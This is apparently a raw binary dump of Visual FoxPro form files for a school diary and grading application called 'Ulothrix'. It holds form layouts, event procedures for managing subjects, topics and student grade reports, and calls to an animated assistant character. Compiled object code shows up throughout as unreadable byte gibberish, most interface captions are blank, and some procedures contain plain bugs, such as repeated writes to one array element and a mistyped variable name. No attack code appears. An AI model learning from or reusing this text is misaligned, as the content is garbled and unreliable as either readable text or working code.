.T. AutoCenter = .T. Caption = " , " FontSize = 9 MaxButton = .F. MinButton = .F. WindowType = 1 AlwaysOnTop = .F. Name = "Form1" #PROCEDURE Activate try oNext=oChar.Moveto(ROUND(RozW*0.46,0),ROUND(RozH*0.69,0)) CATCH MESSAGEBOX(' ! .') FINALLY Really=.t. ENDTRY ENDPROC PROCEDURE Init this.Icon='Diary.ico' ENDPROC  <%Q q6UA9TCCq= ףp?TCGz?ThC\ ! .x TaUONEXTOCHARMOVETOROZWROZHREALLYT Diary.icoUTHISICONActivate,Init%1A22  )listboxlistboxList1Form1PFontSize = 12 Height = 396 Left = 516 Top = 72 Width = 241 Name = "List1"  commandbutton commandbuttonCommand1Form1AutoSize = .T. Top = 336 Left = 288 Height = 34 Width = 170 FontSize = 12 Caption = " " Default = .F. PicturePosition = 2 Name = "Command1" PROCEDURE Click IF empty(thisform.text1.Value)=.f. GO top IF NOT EOF() SELECT Temjke GO BOTTOM Y=special APPEND BLANK replace num_tem WITH nu replace name_tem WITH TRIM(thisform.text1.Value) replace special WITH Y+1 GO top thisform.list1.AddItem(thisform.text1.value) thisform.label2.ForeColor=0 thisform.text1.Value='' ELSE APPEND BLANK replace num_tem WITH Nu replace name_tem WITH TRIM(thisform.text1.Value) replace special WITH 1 ENDIF ELSE MESSAGEBOX(', , !',(0+64+0),'Ulothrix ') thisform.text2.SetFocus thisform.label2.ForeColor =255 ENDIF oNext=oChar.Play('Acknowledge') ENDPROC PROCEDURE Init this.Picture='Add2.bmp' ENDPROC G .. %|6U%C-#) %C+ F#6 T >>C`>#)C T T >>C` >mGC , , !@Ulothrix x T TC AcknowledgeUTHISFORMTEXT1VALUETEMJKEYSPECIALNUM_TEMNUNAME_TEMLIST1ADDITEMLABEL2 FORECOLORTEXT2SETFOCUSONEXTOCHARPLAYTAdd2.bmpUTHISPICTUREClick,InitN1qQqQQQQ11QQAq1A21).textboxtextboxText1Form1FontSize = 12 BorderStyle = 1 Value = Format = "" Height = 24 HideSelection = .T. InputMask = "" Left = 288 ReadOnly = .T. SpecialEffect = 0 Top = 300 Width = 205 Name = "Text1" labellabelLabel1Form1~AutoSize = .T. FontSize = 13 Caption = " :" Height = 22 Left = 48 Top = 48 Width = 145 Name = "Label1" labellabelLabel2Form1FontSize = 13 Caption = " ..." Height = 24 Left = 288 Top = 264 Visible = .F. Width = 180 ForeColor = 0,0,0 Name = "Label2" labellabelLabel3Form1sFontSize = 13 Caption = " :" Height = 24 Left = 516 Top = 48 Width = 180 Name = "Label3" listboxlistboxList2Form1OFontSize = 12 Height = 396 Left = 48 Top = 72 Width = 216 Name = "List2" PROCEDURE Init SELECT Subjects SCAN FOR Del<>.t. thisform.list2.additem(predmet) endscan ENDPROC PROCEDURE Click Public Nu thisform.list1.Clear SELECT Subjects thisform.text1.ReadOnly= .F. LOCATE FOR TRIM(predmet)=TRIM(thisform.list2.Value) IF FOUND() Nu=Num_pred ENDIF SELECT Temjke SCAN FOR num_tem = Nu thisform.list1.AddItem(name_tem) ENDSCAN thisform.label2.Visible=.t. thisform.text1.SetFocus thisform.command1.Default=.t. ENDPROC  wJ%O#6U2F~a+CUSUBJECTSDELTHISFORMLIST2ADDITEMPREDMET7 FT--C`C ` %C4] T F ~ C Ta TaUNUTHISFORMLIST1CLEARSUBJECTSTEXT1READONLYPREDMETLIST2VALUENUM_PREDTEMJKENUM_TEMADDITEMNAME_TEMLABEL2VISIBLESETFOCUSCOMMAND1DEFAULTInit,Click1qAA2qqAr!AA1\x)textboxtextboxText2Form1PFontSize = 12 Height = 25 Left = 288 Top = 120 Width = 205 Name = "Text2" C H TH>F >  T3>C` >F  >  TCC` GC , , !@Ulothrix x TTTC AcknowledgeUTHISFORMTEXT2VALUELABEL4 FORECOLORSUBJECTSPREDMETZNUM_PREDOTSINKUUROKLIST2REFRESHADDITEMSETFOCUSONEXTOCHARPLAYTAdd.bmpUTHISPICTUREClick,Init1q1qQQQQAqQ1QQqQ1Aq1A12q1o%&)CArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38C0X31011052737548/F] WINDOWS _38C0X31021058965522 WINDOWS _38C0X31031052737548LYft WINDOWS _38C0X31041053537241;K[iv WINDOWS _38C0X31051052737548  & 4 A WINDOWS _38C0X31061053537241 0 @ N [  WINDOWS _38C0XJGW11052737548Q^ky WINDOWS _38C0XJGW21052737548  WINDOWS _38C0XJGW31053537241/DTa WINDOWS _38C0XJGW41058965522r"""""O#$ WINDOWS _38C0XW87A1052737548G%T%a%o%|% WINDOWS _38G0ZWCSS1053537241% &&*&7&&y' WINDOWS _38G0ZWCST1053537241((((()) COMMENT RESERVED ++yVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 341 Width = 482 ShowWindow = 1 ShowInTaskBar = .F. DoCreate = .T. ShowTips = .T. AutoCenter = .T. Caption = " ..." MaxButton = .F. MinButton = .F. Icon = WindowType = 1 Name = "Form1" PROCEDURE Init this.Icon='Diary.ico' ENDPROC PROCEDURE Activate oNext=oChar.Think(' - . , !') ENDPROC  vv%6UT Diary.icoUTHISICONTCk - . , !UONEXTOCHARTHINKInit,ActivateX131'F)vlabellabelLabel1Form1AutoSize = .T. FontSize = 13 WordWrap = .T. Caption = ", , :" Height = 40 Left = 12 Top = 60 Width = 235 Name = "Label1" comboboxcomboboxCombo1Form1FontSize = 13 RowSourceType = 1 RowSource = "" Height = 25 Left = 300 ToolTipText = "'" Top = 12 Width = 169 Name = "Combo1" PROCEDURE DropDown this.Clear SELECT Subjects SET FILTER TO DEl<>.t. GO top IF NOT EOF() SCAN thisform.Combo1.AddItem(predmet) ENDSCAN else MESSAGEBOX(" . ?",4) IF MESSAGEBOX(" . ?",4)=6 DO Form D:\FoxPro\Forms\re.scx name Al ENDIF endif SET FILTER TO ENDPROC H //;j%6U; F G(a#) %C+ P~LC.TCE . ?x\%CE . ?x*"D:\FoxPro\Forms\re.scxJ G(U THISCLEARSUBJECTSDELTHISFORMCOMBO1ADDITEMPREDMETDALDropDown,1qQAAA!AAa1)/labellabelLabel2Form1AutoSize = .T. FontSize = 13 WordWrap = .T. Caption = " , :" Height = 40 Left = 12 Top = 12 Width = 278 ToolTipText = "'" Name = "Label2" comboboxcomboboxCombo2Form1PFontSize = 13 Height = 25 Left = 300 Top = 60 Width = 169 Name = "Combo2" PROCEDURE DropDown this.Clear IF thisform.combo1.Value='' SELECT Temjke SET FILTER TO DEl<>.t. GO top IF NOT EOF() SCAN this.AddItem(name_tem) endscan ELSE IF MESSAGEBOX(" . ?",4)=6 DO FORM D:\FoxPro\Forms\Re.scx ENDIF endif ELSE SELECT Subjects GO top LOCATE FOR (predmet=TRIM(thisform.combo1.Value)).and.(DEL<>.t.) XX=num_pred SELECT Temjke GO top IF NOT EOF() SCAN FOR num_tem=XX thisform.combo2.AddItem(name_tem) endscan GO top ELSE IF MESSAGEBOX(" . ?",4)=6 DO Form D:\FoxPro\Forms\re.scx name Al ENDIF Endif ENDIF SET FILTER TO ENDPROC x __%#6U %F G(a#) %C+ d~`CZ%CC . ?xD:\FoxPro\Forms\Re.scxF #)!- C`a T  F#) %C+ v~ mC#)Z%CC . ?x"D:\FoxPro\Forms\re.scxJG(UTHISCLEARTHISFORMCOMBO1VALUETEMJKEDELADDITEMNAME_TEMDSUBJECTSPREDMETXXNUM_PREDNUM_TEMCOMBO2ALDropDown,1qqQAAAqQqQ!AAQ!AAAa1 )_shapeshapeShape1Form1BTop = 120 Left = 12 Height = 120 Width = 228 Name = "Shape1"  optiongroup optiongroup Optiongroup1Form1ButtonCount = 2 Value = 1 Height = 48 Left = 36 Top = 156 Width = 180 Name = "Optiongroup1" Option1.FontSize = 12 Option1.Caption = " " Option1.Value = 1 Option1.Height = 21 Option1.Left = 5 Option1.Top = 5 Option1.Width = 121 Option1.AutoSize = .T. Option1.Name = "Option1" Option2.FontSize = 12 Option2.Caption = " " Option2.Value = 0 Option2.Height = 21 Option2.Left = 5 Option2.Top = 24 Option2.Width = 127 Option2.AutoSize = .T. Option2.Name = "Option2"  commandbutton commandbuttonCommand1Form1Comment = "" Top = 132 Left = 312 Height = 37 Width = 145 FontSize = 12 Caption = "³" PicturePosition = 2 Name = "Command1" PROCEDURE Click PRIVATE Z2 PUBLIC Z1,z3 Z1=thisform.combo2.Value SELECT Temjke LOCATE FOR name_tem=Z1 IF FOUND() Z2=special Z3=num_tem ENDIF IF thisform.optiongroup1.option1.Value=1 SELECT a.first_name, b.Tema,00 as Pop; FROM people a, Otsinku b; WHERE (b.cod_name=a.num).and.(b.Utema=Z2); ORDER BY Tema DESCENDING; into Cursor Rei readwrite SCAN replace Pop WITH RECNO() ENDSCAN GO top STU.Grid1.RecordSourceType= 1 STU.Grid1.RecordSource='Rei' STU.grid1.ColumnCount=3 STU.grid1.column1.header1.Caption='" ' STU.grid1.column2.header1.Caption='' STU.grid1.column3.header1.caption='' ELSE SELECT a.first_name, b.Tema,00 as Pop; FROM people a, Otsinku b; WHERE (b.cod_name=a.num).and.(b.Utema=Z2); ORDER BY Tema ASC; into Cursor Rei readwrite GO top SCAN replace Pop WITH RECNO() ENDSCAN GO top STU.Grid1.RecordSourceType= 1 STU.Grid1.RecordSource='Rei' STU.grid1.ColumnCount=3 STU.grid1.column1.header1.Caption='" ' STU.grid1.column2.header1.Caption='' STU.grid1.column3.header1.caption='' ENDIF SELECT Subjects LOCATE FOR num_pred=Z3 Z3=predmet thisform.command2.Enabled=.t. ENDPROC PROCEDURE Init this.picture='Preview.bmp' ENDPROC  rrf%+6U5 7TF- %C4` T T % gopeopleQ OtsinkuQ Q  <Rei~ >CO#)TTReiT"T " T T fopeopleQ OtsinkuQ Q  Rei#)~& >CO#)TTReiT"T " T T F!-" T#T$%aU&Z2Z1Z3THISFORMCOMBO2VALUETEMJKENAME_TEMSPECIALNUM_TEM OPTIONGROUP1OPTION1 FIRST_NAMEABTEMAPOPPEOPLEOTSINKUCOD_NAMENUMUTEMAREISTUGRID1RECORDSOURCETYPE RECORDSOURCE COLUMNCOUNTCOLUMN1HEADER1CAPTIONCOLUMN2COLUMN3SUBJECTSNUM_PREDPREDMETCOMMAND2ENABLEDT Preview.bmpUTHISPICTUREClick,Initu1q1qAuAQ1a1!eQAQ1a1!Aq31)3)r commandbutton commandbuttonCommand2Form1Top = 180 Left = 312 Height = 37 Width = 145 FontSize = 12 Caption = "" Enabled = .F. PicturePosition = 2 Name = "Command2" PROCEDURE Click SELECT Rei GO top REPORT FORM Reports\Reitung.frx ALL WHILE NOT EOF() TO PRINTER PROMPT ENDPROC PROCEDURE Init this.Picture='Print.bmp' ENDPROC > %%A%6U4F#)%?Reports\Reitung.frx(!"+C+ UREIREPORTST Print.bmpUTHISPICTUREClick,Initr1qQQ21l)%labellabelLabel3Form1xFontSize = 12 Caption = " ?" Height = 25 Left = 24 Top = 132 Width = 204 Name = "Label3" checkboxcheckboxCheck2Form1Top = 252 Left = 228 Height = 21 Width = 172 FontSize = 12 AutoSize = .T. Alignment = 0 Caption = " " ForeColor = 0,0,255 Name = "Check2" PROCEDURE Click * !!!!!!!!!! PUBLIC YesTru IF thisform.check1.Value=1 YesTru=.t. ELSE YesTrue=.f. endif ENDPROC  %6UC7%) Ta< T-UYESTRUTHISFORMCHECK1VALUEYESTRUEClick,1rqA1)checkboxcheckboxCheck1Form1Top = 276 Left = 228 Height = 21 Width = 207 FontSize = 12 AutoSize = .T. Alignment = 0 Caption = " " ForeColor = 0,0,255 Name = "Check1" gPROCEDURE Click PUBLIC YesPrint IF this.Value=1 YesPrint=.t. ELSE YesPrint=.f. endif ENDPROC   u%6U@7%& Ta9 T-UYESPRINTTHISVALUEClick,1qAA1\)eArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 13, 8, 20, 15, 45, 4, 1 Arial, 0, 12, 7, 19, 15, 43, 3, 1 SELECT Rei GO top REPORT FORM Reports\Reitung.frx WHILE NOT EOF() TO PRINTER PROMPT 0 bmPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _34O14K1EM1044230867/F] WINDOWS _34O14K1EN1060352083z WINDOWS _3A60RQERR1060261464zp WINDOWS _34O14K1EM1059625785.!n$ WINDOWS _38D0ZTBXB1053395469))))) WINDOWS _38D0ZTBXC10533954693*B*Q*^*|* WINDOWS _38D0ZTBXD1053395469**++5+ WINDOWS _38D0ZTBXE1053395469s+++++ WINDOWS _38D0ZTBXF1053395469,,:,H,W,u, WINDOWS _38D0ZTBXG1053395469,,,,, WINDOWS _38D0ZTBXH1053395469l-z---- WINDOWS _38D0ZTBXI1053395469-...<. WINDOWS _38D0ZTBXJ1053395469..... WINDOWS _38D0ZTBXK10533954693/B/Q/^/|/ WINDOWS _38D0ZTBXL1053395469//0050 WINDOWS _38D0ZTBXM1053395469s00000 WINDOWS _38D0ZTBXN1053395469,1:1H1W1u1 WINDOWS _38D0ZTBXO105339546911111 WINDOWS _38D0ZTBXP1053395469l2z2222 WINDOWS _38D0ZTBXQ10533954692333<3 WINDOWS _38D0ZTBXR105339546933333 WINDOWS _38D0ZTBXS105339546934B4Q4^4|4 WINDOWS _38D0ZTBXT1053395469445565 WINDOWS _38D0ZTBXU1053395469t55555 WINDOWS _38D0ZTBXV1053395469.6<6J6Y6x6 WINDOWS _38D0ZTBXW105339546966667 WINDOWS _38D0ZTBXX1053395469p7~7777 WINDOWS _38D0ZTBXY1053395469788#8B8 WINDOWS _38D0ZTBXZ105339546988888 WINDOWS _38D0ZTBY01053395469:9I9X9e99 WINDOWS _38D0ZTBY110533954699:::>: WINDOWS _38D0ZTBY21053395469|::::: WINDOWS _38D0ZTBY310533954696;D;R;a;; WINDOWS _38D0ZTBY41053395469;;;;< WINDOWS _38D0ZTBY51053395469x<<<<< WINDOWS _38D0ZTBY61053395469===+=J= WINDOWS _38D0ZTBY71053395469====> WINDOWS _38D0ZTBY81053395469B>Q>`>m>> WINDOWS _38D0ZTBY91053395469> ??'?F? WINDOWS _38D0ZTBYA1053395469????? WINDOWS _38D0ZTBYB1053395469>@L@Z@i@@ WINDOWS _38D0ZTBYC1053395469@@@@A WINDOWS _38D0ZTBYD1053395469AAAAA WINDOWS _38D0ZTBYE1053395469BB&B3BRB WINDOWS _38D0ZTBYF1053395469BBBB C WINDOWS _38D0ZTBYG1053395469JCYChCuCC WINDOWS _38D0ZTBYH1053395469DD D/DND WINDOWS _38D0ZTBYI1053395469DDDDD WINDOWS _38D0ZTBYJ1053395469FETEbEqEE WINDOWS _38D0ZTBYK1053395469EEEEF WINDOWS _38D0ZTBYL1053395469FFFFF WINDOWS _38D0ZTBYM1053395469GG.G;GZG WINDOWS _38D0ZTBYN1053395469GGGGH WINDOWS _38D0ZTBYO1053395469RHaHpH}HH WINDOWS _38D0ZTBYP1053395469 II(I7IVI WINDOWS _38D0ZTBYQ1053395469IIIII WINDOWS _38D0ZTBYR1053395469NJ\JjJyJJ WINDOWS _38D0ZTBYS1053395469JJJK K WINDOWS _38D0ZTBYT1053395469KKKKK WINDOWS _38D0ZTBYU1053395469L'L6LCLbL WINDOWS _38D0ZTBYV1053395469LLLLM WINDOWS _38D0ZTBYW1053395469ZMiMxMMM WINDOWS _38D0ZTBYX1053395469N"N0N?N^N WINDOWS _38D0ZTBYY1053395469NNNNN WINDOWS _38D0ZTBYZ1053395469VOdOrOOO WINDOWS _38D0ZTBZ01053395469OOO P(P WINDOWS _38D0ZTBZ11053395469PPPPP WINDOWS _38D0ZTBZ21053395469 Q/Q>QKQjQ WINDOWS _38D0ZTBZ31053395469QQQR$R WINDOWS _38D0ZTBZ41053395469bRqRRRR WINDOWS _38D0ZTBZ51053395469S*S8SGSfS WINDOWS _38D0ZTBZ61053395469SSSSS WINDOWS _38D0ZTBZ71053395469^TlTzTTT WINDOWS _38D0ZTBZ81053395469TTUU0U WINDOWS _34O19KYTR1059625785UUUUUzVW WINDOWS _34R1CH63M1059625785YYYYYZ[ WINDOWS _34V16CY471059626434h]w]]]]Z^Er WINDOWS _3620UB26P1060352083ЁЂo WINDOWS _37G0XO16L1060352083ք [ WINDOWS _37G1C7JYE1059625785:Odt WINDOWS _37G1DAW5D1059625785ːېa WINDOWS _38B0T3Z3I1060352083&ɖ$ WINDOWS _38L0Z1RV41060242484jy՝ WINDOWS _38L0Z1RV51059625785)=QfvФ/ WINDOWS _34O14K1EM10596257850EUe ص WINDOWS _38O1CBON11059625785Ʒַw WINDOWS _38O1CBON21059625785:Odu. WINDOWS _34O14K1EM1059625785վ ÿ WINDOWS _38O1CRAM51059625785f{c; WINDOWS _3920UKYGQ1059625785(8H WINDOWS _34O14K1EM1059626736vx~ WINDOWS _39A0SLBWZ1059625785dq~z WINDOWS _39V12KIQM1059625785o{e WINDOWS _34O14K1EM1059625785~ WINDOWS _39V12KIQN1059625785,< WINDOWS _3B31CQNHU1059625785lxc COMMENT RESERVED VERSION = 3.00dataenvironmentdataenvironmentDataenvironment_Top = 220 Left = 1 Width = 520 Height = 200 DataSource = .NULL. Name = "Dataenvironment" 11formformstudentstScaleMode = 3 Top = 0 Left = 5 Height = 794 Width = 10017 Desktop = .T. ShowWindow = 2 ScrollBars = 0 DoCreate = .T. ShowTips = .T. Picture = ..\ Caption = "Ulothrix" MaxButton = .T. MaxHeight = -1 MaxWidth = -1 MDIForm = .F. Icon = ..\ WindowState = 0 LockScreen = .F. AlwaysOnBottom = .T. ForeColor = 0,0,0 BackColor = 81,92,234 Name = "students" &PROCEDURE Load SET CLASSLIB TO 'MYSHAPE' thisform.AddObject('Two','MyShape') thisform.two.top=0 thisform.two.left=1055 thisform.two.visible=.f. ENDPROC PROCEDURE Init thisform.Width=RozW thisform.Height=RozH this.Icon='Diary.ico' PRIVATE Login PUBLIC Tim DO main.mpr WITH thisform, .t. IF NotShow=.f. this.check2.Caption=' ' ELSE this.check2.Caption=' ' ENDIF *-------------------------------------------------------------- SELECT ini GO top IF changed=.f. oNExt=oChar.MoveTo(ROUND(RozW*0.67,0),ROUND(RozH*0.49,0)) oNExt=oChar.Think(' ! , ! , , , ! !') DO FORM Forms\Parol.scx READ EVENTS oChar.Stop(oNExt) oNExt=oChar.MoveTo(ROUND(RozW*0.74,0),ROUND(RozH*0.46,0)) oNext=oChar.Think('! . , . , !') DO FORM Forms\Options.scx READ EVENTS oChar.Stop(oNext) oNext=oChar.Think(' ! , , .') DO Form Forms\Agent.scx READ EVENTS oChar.Stop(oNext) oNExt=oChar.Think(', , ! Ͳ') ENDIF Tim=.f. *thisform.timer1.Enabled=.t. ENDPROC PROCEDURE Destroy PRIVATE V RELEASE MENUS(this.Name) extended SELECT Ini GO top IF changed=.f. replace changed WITH .t. ENDIF ENDPROC PROCEDURE Unload this.Visible=.f. CLEAR EVENTS DO correct ENDPROC  M%836UjG~(MYSHAPECTwoMyShapeTTT-UTHISFORM ADDOBJECTTWOTOPLEFTVISIBLETTT Diary.ico57main.mpra% -&T  %T  F#)%-9TCCq= ףp?TC\(\?TTC ! , ! , , , ! !Forms\Parol.scx9C9TCCGz?TCq= ףp?TTC! . , . , !Forms\Options.scx9CtTC` ! , , .Forms\Agent.scx9CTC}, , ! Ͳ T-UTHISFORMWIDTHROZWHEIGHTROZHTHISICONLOGINTIMMAINMPRNOTSHOWCHECK2CAPTIONINICHANGEDONEXTOCHARMOVETOTHINKFORMSSTOPC5<F#)%-< >aUVTHISNAMEINICHANGEDT-UTHISVISIBLECORRECTLoad,InitDestroyUnload\1!1A4qqqaQArQ qQ QAqQ A3qqQA6Qq28 'V-/:)shapeshapeShape1studentsVTop = 0 Left = 0 Height = 28 Width = 1000 BackColor = 255,255,0 Name = "Shape1" XPROCEDURE Init this.Height=ROUND(RozH*0.03,0) this.Width=ROUND(RozW*0.71,0) ENDPROC  %6UE!TCQ?T!TCQ?TUTHISHEIGHTROZHWIDTHROZWInit,11M)gridgridGrid1students kColumnCount = 35 FontSize = 13 Height = 596 Left = 285 ReadOnly = .T. RecordSource = "" RecordSourceType = 1 RowHeight = 23 SplitBar = .T. Top = 28 Width = 1156 Partition = 0 HighlightStyle = 0 LockColumns = 0 AllowAutoColumnFit = 0 Name = "Grid1" Column1.FontSize = 13 Column1.ReadOnly = .T. Column1.Name = "Column1" Column2.FontSize = 13 Column2.ReadOnly = .T. Column2.Name = "Column2" Column3.FontSize = 13 Column3.ReadOnly = .T. Column3.Name = "Column3" Column4.FontSize = 13 Column4.ReadOnly = .T. Column4.Name = "Column4" Column5.FontSize = 13 Column5.ReadOnly = .T. Column5.Name = "Column5" Column6.FontSize = 13 Column6.ReadOnly = .T. Column6.Name = "Column6" Column7.FontSize = 13 Column7.ReadOnly = .T. Column7.Name = "Column7" Column8.FontSize = 13 Column8.ReadOnly = .T. Column8.Name = "Column8" Column9.FontSize = 13 Column9.ReadOnly = .T. Column9.Name = "Column9" Column10.FontSize = 13 Column10.ReadOnly = .T. Column10.Name = "Column10" Column11.FontSize = 13 Column11.ReadOnly = .T. Column11.Name = "Column11" Column12.FontSize = 13 Column12.ReadOnly = .T. Column12.Name = "Column12" Column13.FontSize = 13 Column13.ReadOnly = .T. Column13.Name = "Column13" Column14.FontSize = 13 Column14.ReadOnly = .T. Column14.Name = "Column14" Column15.FontSize = 13 Column15.ReadOnly = .T. Column15.Name = "Column15" Column16.FontSize = 13 Column16.ReadOnly = .T. Column16.Name = "Column16" Column17.FontSize = 13 Column17.ReadOnly = .T. Column17.Name = "Column17" Column18.FontSize = 13 Column18.ReadOnly = .T. Column18.Name = "Column18" Column19.FontSize = 13 Column19.ReadOnly = .T. Column19.Name = "Column19" Column20.FontSize = 13 Column20.ReadOnly = .T. Column20.Name = "Column20" Column21.FontSize = 13 Column21.ReadOnly = .T. Column21.Name = "Column21" Column22.FontSize = 13 Column22.ReadOnly = .T. Column22.Name = "Column22" Column23.FontSize = 13 Column23.ReadOnly = .T. Column23.Name = "Column23" Column24.FontSize = 13 Column24.ReadOnly = .T. Column24.Name = "Column24" Column25.FontSize = 13 Column25.ReadOnly = .T. Column25.Name = "Column25" Column26.FontSize = 13 Column26.ReadOnly = .T. Column26.Name = "Column26" Column27.FontSize = 13 Column27.ReadOnly = .T. Column27.Name = "Column27" Column28.FontSize = 13 Column28.ReadOnly = .T. Column28.Name = "Column28" Column29.FontSize = 13 Column29.ReadOnly = .T. Column29.Name = "Column29" Column30.FontSize = 13 Column30.ReadOnly = .T. Column30.Name = "Column30" Column31.FontSize = 13 Column31.ReadOnly = .T. Column31.Name = "Column31" Column32.FontSize = 13 Column32.ReadOnly = .T. Column32.Name = "Column32" Column33.FontSize = 13 Column33.ReadOnly = .T. Column33.Name = "Column33" Column34.FontSize = 13 Column34.ReadOnly = .T. Column34.Name = "Column34" Column35.FontSize = 13 Column35.ReadOnly = .T. Column35.Name = "Column35" 8PROCEDURE Init this.Left=ROUND(RozW*0.2,0) this.Top=ROUND(RozH*0.03,0) this.Height=ROUND(RozH*0.73,0) this.Width=ROUND(RozW*0.82,0) DIMENSION Num[31] num[1]='1' num[2]='2' num[3]='3' num[4]='4' num[5]='5' num[6]='6' num[7]='7' num[8]='8' num[9]='9' num[1]='10' num[1]='11' num[1]='12' num[1]='13' num[1]='14' num[1]='15' num[1]='16' num[1]='17' num[1]='18' num[1]='19' num[1]='20' num[1]='21' num[1]='22' num[1]='23' num[1]='24' num[1]='25' num[1]='26' num[1]='27' num[1]='28' num[1]='29' num[1]='30' num[1]='31' thisform.grid1.column1.header1.Caption='' thisform.grid1.column2.header1.Caption='' thisform.grid1.column3.header1.Caption='' thisform.grid1.column4.header1.Caption='' thisform.grid1.Refresh thisform.grid1.column1.header1.WordWrap=.t. ENDPROC 6 w%n,|6U!TC?T!TCQ?T!TC\(\?T!TC= ףp=?T T1T2T3T4T5T6T7T8T 9T10T11T12T13T14T15T16T17T18T19T20T21T22T23T24T25T26T27T28T29T30T31T  T T  T    T aUTHISLEFTROZWTOPROZHHEIGHTWIDTHNUMTHISFORMGRID1COLUMN1HEADER1CAPTIONCOLUMN2COLUMN3COLUMN4REFRESHWORDWRAPInit,1AAAAAAAAAQQQQQQQQQQQQQQQQQQQQQQq2-)headerheaderHeader1students.Grid1.Column16FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column1hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column26FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column2hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column36FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column3hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column46FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column4hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column56FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column5hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column66FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column6hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column76FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column7hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column86FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column8hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column96FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column9hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column106FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column10hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column116FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column11hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column126FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column12hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column136FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column13hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column146FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column14hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column156FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column15hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column166FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column16hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column176FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column17hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column186FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column18hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column196FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column19hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1" headerheaderHeader1students.Grid1.Column206FontSize = 13 Caption = "Header1" Name = "Header1" textboxtextboxText1students.Grid1.Column20hFontSize = 13 BorderStyle = 0 Margin = 0 ForeColor = 0,0,0 